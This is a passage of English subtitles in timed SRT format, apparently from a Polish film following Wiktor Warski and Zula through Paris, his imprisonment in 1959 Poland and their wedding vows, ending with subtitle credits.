00:55:40.647 --> 00:55:45.458
Nice to meet you. I was longing
to see you. I've heard a lot about you.

390
00:55:45.770 --> 00:55:47.572
- It's nice. Thank you.
- You are welcome.

391
00:55:47.581 --> 00:55:49.085
How did the movie come out?

392
00:55:49.110 --> 00:55:53.252
Excellently. We are pleased.
It's also good news for you.

393
00:55:53.479 --> 00:55:55.287
- I am happy for you.
- And for you.

394
00:55:55.312 --> 00:55:59.176
I'll let you talk to each
other, and I will go and look around.

395
00:55:59.541 --> 00:56:01.686
She has a character.

396
00:56:28.286 --> 00:56:30.739
Good evening.

397
00:56:30.896 --> 00:56:32.602
Sorry. Good evening.

398
00:56:32.860 --> 00:56:36.889
- I was thinking a lot about your text.
- Yeah? Which one?

399
00:56:37.112 --> 00:56:39.723
- Of my song.
- Ah, yes.

400
00:56:40.202 --> 00:56:43.870
"The pendulum killed time."
That's nice, but I do not understand it.

401
00:56:43.896 --> 00:56:46.598
Really? It's a metaphor.

402
00:56:46.812 --> 00:56:48.555
Which means what?

403
00:56:49.812 --> 00:56:53.676
That time does not matter
when you are in love.

404
00:56:59.549 --> 00:57:01.594
Do you like staying here?

405
00:57:01.674 --> 00:57:03.878
In Paris? It's OK.

406
00:57:05.573 --> 00:57:08.092
It must have been shocking too.

407
00:57:08.373 --> 00:57:10.138
Shocking? Why?

408
00:57:10.256 --> 00:57:14.155
Cinemas, cafes, restaurants,
shops, etc...

409
00:57:15.935 --> 00:57:18.117
Honestly, between us, I had
a better life in Poland.

410
00:57:18.142 --> 00:57:20.354
Really?
Then why did you run away?

411
00:57:20.435 --> 00:57:24.553
I did not run away. I married
an Italian man, I left legally.

412
00:57:26.944 --> 00:57:29.466
Have you ever been to Palermo?

413
00:57:29.688 --> 00:57:30.838
No.

414
00:57:31.904 --> 00:57:33.303
What a pity!

415
00:57:35.729 --> 00:57:37.698
It was nice to meet you.

416
00:57:53.688 --> 00:57:55.145
Excuse me.

417
00:57:57.001 --> 00:57:58.925
What the fuck did you tell him?

418
00:57:59.104 --> 00:58:02.455
- About what?
- That I pretended to be a highlander.

419
00:58:02.481 --> 00:58:05.394
That I was in jail.
That I killed my father.

420
00:58:07.231 --> 00:58:09.119
Even that I danced for
Stalin in the Kremlin!

421
00:58:09.145 --> 00:58:11.172
- But that's cool.
- Why is that?

422
00:58:11.198 --> 00:58:14.138
- Because I wanted to highlight you.
- Highlight me?

423
00:58:14.979 --> 00:58:17.919
- This is how things work here.
- How is that?

424
00:58:18.788 --> 00:58:19.952
I don't know.

425
00:58:20.106 --> 00:58:24.643
Edith Piaf worked in a brothel,
and that makes them love her more.

426
00:58:24.990 --> 00:58:27.207
She was in a brothel.
Why did you that for me?

427
00:58:27.438 --> 00:58:30.686
And Giovanni was not an aristocrat,
he only traded in crystals.

428
00:58:31.771 --> 00:58:35.706
I have no words. I though it's in your favor.
Shall we go home?

429
00:58:36.771 --> 00:58:39.046
I met your mistress.

430
00:58:39.730 --> 00:58:43.173
Good. Nice looking, but...

431
00:58:43.199 --> 00:58:46.289
Arrogant.
But in total, you fit each other.

432
00:58:55.253 --> 00:58:57.315
<i>Metaphor!</i>

433
00:58:57.569 --> 00:58:58.904
Idiot.

434
00:59:07.146 --> 00:59:08.971
He is a jerk.

435
00:59:10.855 --> 00:59:12.561
It's hard.

436
00:59:16.730 --> 00:59:18.869
Zula, do not worry.

437
00:59:19.641 --> 00:59:21.668
Let things go as they are.

438
00:59:25.313 --> 00:59:27.376
I love him a lot.

439
00:59:29.188 --> 00:59:32.459
Zula, are you OK?

440
00:59:41.435 --> 00:59:45.094
- What are you doing here?
- Go out, I just felt sad.

441
00:59:45.398 --> 00:59:48.561
Not now, honey.
We're going to "Eclipse".

442
00:59:48.706 --> 00:59:52.320
- Everyone is gathering.
- Well. Give me a moment.

443
01:01:50.980 --> 01:01:54.915
In Poland, you were a guy, and
here you are someone different.

444
01:02:04.522 --> 01:02:08.683
No, maybe I'm just stupid
to fell like this..

445
01:02:17.199 --> 01:02:20.797
But it's beautiful
in general, we're in Paris...

446
01:02:20.980 --> 01:02:23.541
I love you by all my strength.

447
01:02:23.649 --> 01:02:27.140
And when it comes to Michel,
do not worry about it at all.

448
01:02:27.166 --> 01:02:30.532
We've signed a contract.
I'll handle everything.

449
01:03:19.569 --> 01:03:21.312
Stop!

450
01:03:23.106 --> 01:03:24.468
What?

451
01:03:25.522 --> 01:03:27.170
This is empty.

452
01:03:28.337 --> 01:03:29.534
Empty?!

453
01:03:32.147 --> 01:03:35.929
We have only 40 minutes left.
Please, don't waste them for us.

454
01:03:43.064 --> 01:03:46.928
Well. I'll do it right.
You will see that by yourself.

455
01:03:48.403 --> 01:03:50.358
What matters is "yourself".

456
01:03:51.828 --> 01:03:54.767
Everything is here for you.

457
01:03:55.813 --> 01:03:56.952
Believe in yourself.

458
01:03:56.978 --> 01:04:00.166
I do believe in myself.
I don't believe in you.

459
01:04:03.468 --> 01:04:05.175
Can we?

460
01:04:06.064 --> 01:04:08.209
Start over.

461
01:05:30.440 --> 01:05:32.467
What is so sad?

462
01:05:34.773 --> 01:05:37.442
See. Our first child.

463
01:05:38.401 --> 01:05:40.013
Bastard.

464
01:05:43.422 --> 01:05:45.033
What happened?

465
01:05:46.065 --> 01:05:47.925
Actually nothing.

466
01:05:48.981 --> 01:05:50.937
It was great.

467
01:05:52.065 --> 01:05:54.127
The French know what they are doing.

468
01:05:54.291 --> 01:05:58.669
And Michel is a masterful in everything.
He fucked me six times in the night.

469
01:06:00.146 --> 01:06:02.258
Not like a Polish artist in exile.

470
01:06:07.914 --> 01:06:10.059
Does this make me understand?

471
01:06:50.398 --> 01:06:51.922
Come out!

472
01:06:51.948 --> 01:06:53.809
Excuse me.

473
01:06:55.786 --> 01:06:59.111
- What did you do with her?
- Nothing. She came back.

474
01:06:59.898 --> 01:07:01.676
To Poland.

475
01:07:02.982 --> 01:07:05.293
- To Poland?
- Yes, to Poland.

476
01:08:34.982 --> 01:08:36.309
Hello?

477
01:08:37.357 --> 01:08:39.881
Did I get to Mazurka?

478
01:08:40.940 --> 01:08:43.180
Mazurek, in Bialaczow.

479
01:08:44.232 --> 01:08:46.093
0418.

480
01:08:49.107 --> 01:08:51.170
Give me Zuzanna Lichoń, please.

481
01:08:52.232 --> 01:08:53.429
Lichoń.

482
01:08:54.531 --> 01:08:55.858
Zula.

483
01:08:59.774 --> 01:09:01.729
She just came back.

484
01:09:04.982 --> 01:09:06.381
I understand.

485
01:09:07.816 --> 01:09:10.209
Do not you know where she is?

486
01:09:38.149 --> 01:09:41.089
I do not know how to help you.

487
01:09:42.149 --> 01:09:46.048
You are not a Frenchman.
And not Polish anymore.

488
01:09:46.330 --> 01:09:50.265
As for us, for Poland, you do not exist.

489
01:09:51.691 --> 01:09:56.751
But honestly, what made you
decide to leave?

490
01:09:56.982 --> 01:09:58.558
I'm Polish.

491
01:09:59.681 --> 01:10:01.780
- Sir, give me a break.
- I do.

492
01:10:01.806 --> 01:10:05.303
You'd escaped, betrayed us,
and lied about us.

493
01:10:05.329 --> 01:10:07.922
You left young people who trusted in you.

494
01:10:08.552 --> 01:10:10.520
You don't love Poland, sir.

495
01:10:10.796 --> 01:10:13.190
- I do.
- You do not.

496
01:10:20.548 --> 01:10:23.167
But there is a solution.

497
01:10:26.024 --> 01:10:28.612
If you sincerely regret your actions...

498
01:10:30.076 --> 01:10:35.179
You have a special position
in the artistic circles of Paris, right?

499
01:10:37.245 --> 01:10:39.805
You know people from different spheres.

500
01:11:13.666 --> 01:11:16.685
Poland, 1959

501
01:11:27.483 --> 01:11:32.638
♪ <i>What does this friend remind you?</i> ♪

502
01:11:33.281 --> 01:11:39.136
♪ <i>What does she remind you?</i> ♪
♪ <i>What does this friend remind you?</i> ♪

503
01:11:48.275 --> 01:11:49.922
Good day.

504
01:12:14.681 --> 01:12:16.803
You look horrible.

505
01:12:23.650 --> 01:12:25.226
How many years?

506
01:12:26.816 --> 01:12:28.563
Fifteen.

507
01:12:31.816 --> 01:12:34.305
That supposed to be good.

508
01:12:35.136 --> 01:12:37.162
Illegally crossed the
boundary in both directions

509
01:12:37.188 --> 01:12:39.682
and I was spying for the British.

510
01:12:57.025 --> 01:12:59.170
You have ten minutes.

511
01:13:20.525 --> 01:13:22.801
What have we done?

512
01:13:33.990 --> 01:13:36.847
- I'll wait for you.
- Come on!

513
01:13:37.165 --> 01:13:40.809
Find another normal guy
who can support you.

514
01:13:43.858 --> 01:13:46.596
Such man is not born yet.

515
01:13:54.866 --> 01:13:56.948
I'll get you out of here.

516
01:13:59.483 --> 01:14:03.171
♪ <i>Bajo bongo, bajo bongo</i> ♪

517
01:14:03.400 --> 01:14:06.758
♪ <i>Bajo bongo, o bongo Baja</i> ♪

518
01:14:07.192 --> 01:14:10.877
♪ <i>Bajo bongo, bajo bongo</i> ♪

519
01:14:11.067 --> 01:14:14.681
♪ <i>Through the world length and breadth</i>
<i>this is the song today</i> ♪

520
01:14:14.818 --> 01:14:18.089
♪ <i>Bajo bongo, bajo bongo</i> ♪

521
01:14:18.400 --> 01:14:21.766
♪ <i>Bajo bongo, o bongo Baja</i> ♪

522
01:14:21.984 --> 01:14:25.977
♪ <i>Who knows this beautiful dance?</i>
<i>Who dances like me?</i> ♪

523
01:14:26.192 --> 01:14:29.380
♪ <i>O, bajo bongo,</i>
<i>O, bongo Baja</i> ♪

524
01:14:37.734 --> 01:14:41.763
♪ <i>Bongo la, bongo la,</i>
<i>bongo la, la, la</i> ♪

525
01:14:41.984 --> 01:14:45.254
♪ <i>La, la, la, la, la</i> ♪

526
01:14:45.484 --> 01:14:49.228
♪ <i>Bongo la, bongo la,</i>
<i>bongo la, la, la</i> ♪

527
01:14:49.442 --> 01:14:53.010
♪ <i>La, la, la, la, la</i> ♪

528
01:14:53.234 --> 01:14:55.296
♪ <i>Bajo bongo...</i> ♪

529
01:14:55.525 --> 01:14:59.270
It's nice that you found the time.
Come on, Peter, do not be sad.

530
01:14:59.484 --> 01:15:01.474
You'll introduce yourself to him.

531
01:15:02.609 --> 01:15:04.469
Peter.

532
01:15:04.692 --> 01:15:06.470
Hi.

533
01:15:08.359 --> 01:15:09.888
He is shy.

534
01:15:12.650 --> 01:15:15.732
- Does he look like me?
- A photocopy.

535
01:15:17.400 --> 01:15:20.482
So what? will you come back to music?

536
01:15:21.525 --> 01:15:24.049
- Not really.
- Yeah.

537
01:15:25.945 --> 01:15:29.542
I am glad that you managed to get
out of there. It was not easy.

538
01:15:29.681 --> 01:15:32.529
But the deputy minister is
our neighbor, and a good friend.

539
01:15:32.555 --> 01:15:35.992
Thank you very much.
I'm grateful, really.

540
01:15:40.067 --> 01:15:43.526
I heard your Paris record.
Very pretty.

541
01:15:44.021 --> 01:15:46.226
Great arrangement.

542
01:15:47.703 --> 01:15:51.513
It would be good to play it
again, here with us, in Polish.

543
01:15:51.734 --> 01:15:55.002
Zula would surely agree with that.
By the way, too.

544
01:15:58.151 --> 01:16:00.079
Mum is coming.

545
01:16:14.692 --> 01:16:18.093
I love you, but I have to puke now.

546
01:16:19.940 --> 01:16:21.843
Stay at the banquet.

547
01:16:21.962 --> 01:16:25.292
There will be a lot of interesting
people from the world of art.

548
01:16:25.886 --> 01:16:28.008
Come on, come on...

549
01:16:45.066 --> 01:16:47.057
Take me away from here.

550
01:16:48.156 --> 01:16:49.957
That is why I am here.

551
01:16:50.438 --> 01:16:52.269
But this time forever.

552
01:18:59.774 --> 01:19:01.670
Repeat after me..

553
01:19:03.365 --> 01:19:06.847
Me, Wiktor Warski, I am taking you,
Zuzanna Lichoń, as my wife...

554
01:19:06.873 --> 01:19:10.363
Me, Wiktor Warski, I am taking you,
Zuzanna Lichoń, as my wife...

555
01:19:10.887 --> 01:19:14.421
...and I swear I will never leave
you in any case, until death.

556
01:19:15.276 --> 01:19:19.361
...and I swear I will never leave
you in any case, until death.

557
01:19:20.269 --> 01:19:23.329
I, Zuzanna Lichoń, take you,
Wiktor Warski, as my husband

558
01:19:23.545 --> 01:19:26.983
...and I swear I will never leave
you in any case, until death.

559
01:19:28.087 --> 01:19:30.042
Help us in that, God.

560
01:19:40.418 --> 01:19:43.037
You take more because you are heavier.

561
01:19:54.860 --> 01:19:56.773
I am yours now.

562
01:19:59.532 --> 01:20:01.654
Forever and ever.

563
01:20:41.860 --> 01:20:44.313
Come to the other side.

564
01:20:47.693 --> 01:20:50.633
There will be a better view from there.

565
01:21:02.605 --> 01:21:06.335
"To my Parents"

566
01:23:10.069 --> 01:23:13.446
HEARING IMPAIRED SUBTITLE SOURCE:
CULTURE FOUNDATION WITHOUT BARRIER

567
01:23:14.317 --> 01:23:17.149
PREPARED BY:
PRZEMYSŁAW ZDROK

568
01:23:18.151 --> 01:23:21.276
ENGLISH SUBTITLE BY:
NIZAR EZZEDDINE


ZeroDay Forums Mini